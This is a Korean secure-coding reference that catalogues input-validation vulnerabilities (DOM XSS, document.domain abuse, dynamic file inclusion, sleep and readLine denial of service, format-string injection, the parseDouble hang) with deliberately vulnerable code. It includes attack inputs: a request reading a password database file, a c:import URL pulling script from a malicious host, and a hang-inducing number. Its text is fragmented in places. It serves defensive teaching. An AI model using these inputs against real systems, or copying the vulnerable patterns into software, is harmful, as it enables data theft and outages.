입력 검증 및 표현 문제는 메타 문자, 대체 인코딩 및 숫자 표현 때문에 발생합니다. 보안 문제는 입력을 신뢰하기 때문에 발생합니다. 문제로는 "Buffer Overflows", "Cross-Site Scripting" 공격, "SQL Injection", 그 외 여러 가지가 있습니다.
<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>
$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});
eid
인 텍스트 입력에서 직원 ID에 표준 영숫자 텍스트만 있으면 올바로 동작합니다. eid
가 메타 문자나 소스 코드가 포함된 값을 갖는 경우에는 사용자가 버튼을 클릭하고 나면 브라우저가 실행하도록 코드가 DOM에 추가됩니다. 사용자가 텍스트 입력에 악성 콘텐트를 입력하도록 공격자가 유도할 수 있다면 해당 XSS는 DOM-based XSS에 불과합니다.document.domain
).document.domain
을 동일하게 설정하고 정확히 동일한 도메인에 있는 것처럼 페이지에서 스크립트를 실행할 수 있습니다.domain
을 사용하여 페이지의 SOP(동일 출처 정책)에 대한 도메인으로 전달합니다.
<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>
document.domain
에 전달하도록 허용합니다. 따라서 페이지가 "http://www.example.com"에 있으면 document.domain
을 "www.example.com"이나 "example.com"으로 설정할 수 있습니다. "com"이나 "example.org"로는 설정할 수 없습니다.
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1
에서 공격자는 프로그램이 외부 사이트의 파일을 포함하도록 만드는 includedURL
에 대한 악성 값을 제공하여 동적 include 문을 완전히 제어할 수 있습니다.web.config
와 같은 일반 텍스트 파일의 경우, 파일은 HTML 출력의 일부로 렌더링될 수 있습니다. 심지어 공격자가 자신이 제어하는 원격 사이트의 경로를 지정할 수 있는 경우에는 동적 include 문이 공격자가 제공한 임의의 악성 코드를 실행하게 됩니다.
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB
파일의 내용을 JSP 페이지에 렌더링하여 시스템 보안을 손상시킵니다.c:import
태그를 사용하여 사용자 지정된 원격 파일을 현재 JSP 페이지로 가져옵니다.
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals
옵션과 함께 제공됩니다. 이는 공격자가 내부 서버 변수를 쉽게 덮어쓸 수 있습니다. register_globals
를 비활성화하면 file inclusion 취약점에 대한 프로그램의 노출을 제한할 수 있지만 이러한 문제는 요즘의 PHP 응용 프로그램에서도 발생합니다. $server_root
가 정의된 응용 프로그램에 있는 파일을 포함합니다.
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals
가 on
으로 설정되어 있으면 공격자는 $server_root
를 요청 매개 변수로 제공하여 동적 include 문을 부분적으로 제어함으로써 $server_root
값을 덮어쓸 수 있습니다.
...
<?php include($_GET['headername']); ?$gt;
...
Example 2
에서 공격자는 프로그램이 외부 사이트의 파일을 포함하도록 만드는 headername
에 대한 악성 값을 제공하여 동적 include 문을 완전히 제어할 수 있습니다./etc/shadow
와 같은 일반 텍스트 파일의 경우, 파일은 HTML 출력의 일부로 렌더링될 수 있습니다. 심지어 공격자가 자신이 제어하는 원격 사이트의 경로를 지정할 수 있는 경우에는 동적 include 문이 공격자가 제공한 임의의 악성 코드를 실행하게 됩니다.
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
HttpRequest.Files
, HttpRequest.Form
, HttpRequest.Cookies
, HttpRequest.QueryString
, HttpRequest.Headers
, HttpRequest.ServerVariables
와 같은 클라이언트 제공 사전의 크기를 1000으로 제한합니다. 이 크기는 구성 파일에서 aspnet:MaxHttpCollectionKeys
설정을 사용하여 늘리거나 줄일 수 있습니다. 그러나 크기를 더 큰 값으로 늘리면 DoS 공격의 가능성이 높아집니다.aspnet:MaxHttpCollectionKeys
이 2147483647
로 설정됩니다.
...
<appSettings>
<add key="aspnet:MaxHttpCollectionKeys" value="2147483647" />
</appSettings>
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future
함수가 실행되는 기간을 지정할 수 있습니다. 함수 실행 기간을 길게 지정하면 공격자가 Future
함수 실행을 무기한 중지시킬 수 있습니다.
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
예제 2: 다음 코드는 zip 파일에서 문자열을 읽습니다. 이 코드에서는
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine()
메서드를 사용하기 때문에 범위 지정 없는 입력 양을 읽습니다. 공격자가 OutOfMemoryException
을 발생시키거나 대량의 메모리를 소모하도록 이 코드를 이용할 수 있으므로 프로그램이 가비지 수집(garbage collection)을 수행하는 데 더 많은 시간을 소모하거나 이후의 일부 작업 중에 메모리가 부족해집니다.
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
예제 2: 다음 코드는 파일에 작성합니다. 사용자 에이전트에 의해 닫힌 것으로 간주될 때까지 파일은 계속 작성 및 다시 작성될 수 있기 때문에 파일 내용 분석이 필요할 수도 있는 디스크 할당량, IO 대역폭 및 프로세스가 영향을 받습니다.
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
예제 2: 다음 코드는 파일에서 문자열을 읽습니다. 이 코드에서는 제한을 지정하지 않고
Kernel.sleep(user_input)
readline()
메서드를 사용하기 때문에 범위 지정 없는 양의 입력을 읽습니다. 공격자는 이 코드를 활용하여 프로세스가 응답하지 않으면서 점점 더 많은 메모리를 소모하도록 할 수 있으며, 이러한 공격은 메모리를 완전히 소진할 때까지 계속될 수 있습니다.
fd = File.new(myFile)
line = fd.readline
Formatter.format()
에 대한 형식 문자열 인수를 지정할 수 있도록 합니다.
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException
등의 예외가 발생할 수 있으며, 이 예외는 try 블록 내에 있지 않으므로 응용 프로그램 실패로 이어질 수 있습니다. accountNo
가 포함됩니다.java.lang.Double.parseDouble()
및 [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]
범위에 있는 임의의 수를 구문 분석할 때 스레드가 응답하지 않도록 만들 수 있는 관련된 메서드의 구현에 취약점이 있습니다. 이 결함은 DoS(Denial of Service) 공격을 실행하는 데 사용될 수 있습니다.
Double d = Double.parseDouble(request.getParameter("d"));
d
가 해당 범위의 값(예: "0.0222507385850720119e-00306"
)인 경우, 공격자가 요청을 보내 요청을 처리하는 동안 프로그램이 응답하지 않도록 만들 수 있습니다.